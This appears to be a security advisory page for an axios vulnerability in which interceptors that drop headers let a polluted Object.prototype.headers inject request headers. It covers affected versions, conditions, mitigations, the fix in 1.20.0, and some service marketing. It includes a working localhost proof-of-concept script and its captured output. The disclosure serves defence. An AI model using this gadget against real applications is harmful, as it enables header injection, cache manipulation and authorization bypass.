AXIOS · CVE-2026-101904 · Package
FIX → 1.20.0 · >=1.20.0
When a request interceptor returns a plain object without its own headers property, axios reads an inherited Object.prototype.headers value and sends it on the request. An attacker who already has a prototype-pollution primitive in the same process can add arbitrary headers to outgoing axios requests.
first public Sep 16, 2026 · 3 sources
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Applications that use axios request interceptors which rebuild the config object and omit headers, in a process that also has a prototype-pollution bug. Interceptors that preserve headers or mutate and return the existing config are not affected, and processes without prototype pollution are not affected.
Not affected if headers-preserved, no-prototype-pollution, no-request-interceptors
Who cares axios, javascript, node, typescript
npm ls axios and compare it with the fixed range.interceptors.request.use and look for interceptors that return a new object without a headers property.Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.
Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.
An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.
The issue is conditional and should not be described as affecting every interceptor or every request.
Affected:
headers property.Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 1.20.0 · >=1.20.0
>=1.20.0 (fixed in 1.20.0 for affected range >=1.0.0, <1.20.0)dispatchRequest() header normalization through AxiosHeaders.from(config.headers).Not affected:
headers property.lib/core/dispatchRequest.js contains:
config.headers = AxiosHeaders.from(config.headers);
The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.
Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.
Constrained local demonstration:
Object.prototype.headers = { 'X-Poisoned': 'yes' };
const client = axios.create();
client.interceptors.request.use((config) => ({
url: config.url,
method: config.method,
timeout: config.timeout
}));
await client.get(url);
Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.
Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.
Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.
This allows attacker-controlled headers to be placed on the wire.
Validated on:
1.17.04306df2v24.15.0Object.prototype.headers.headers.dispatchRequest() uses:
config.headers = AxiosHeaders.from(config.headers);
If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.
An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer(handler);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const server = await start((req, res) => {
hits.push(req.headers);
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype.headers = {
'X-Poisoned': 'yes',
'If-None-Match': '*'
};
const client = axios.create();
client.interceptors.request.use((config) => ({
url: config.url,
method: config.method,
timeout: config.timeout
}));
await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
timeout: 3000
});
console.log(hits[0]);
} finally {
delete Object.prototype.headers;
await stop(server);
}
Observed wire headers:
{
"x-poisoned": "yes",
"if-none-match": "*",
"user-agent": "axios/1.17.0"
}
This page as .md · .json · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.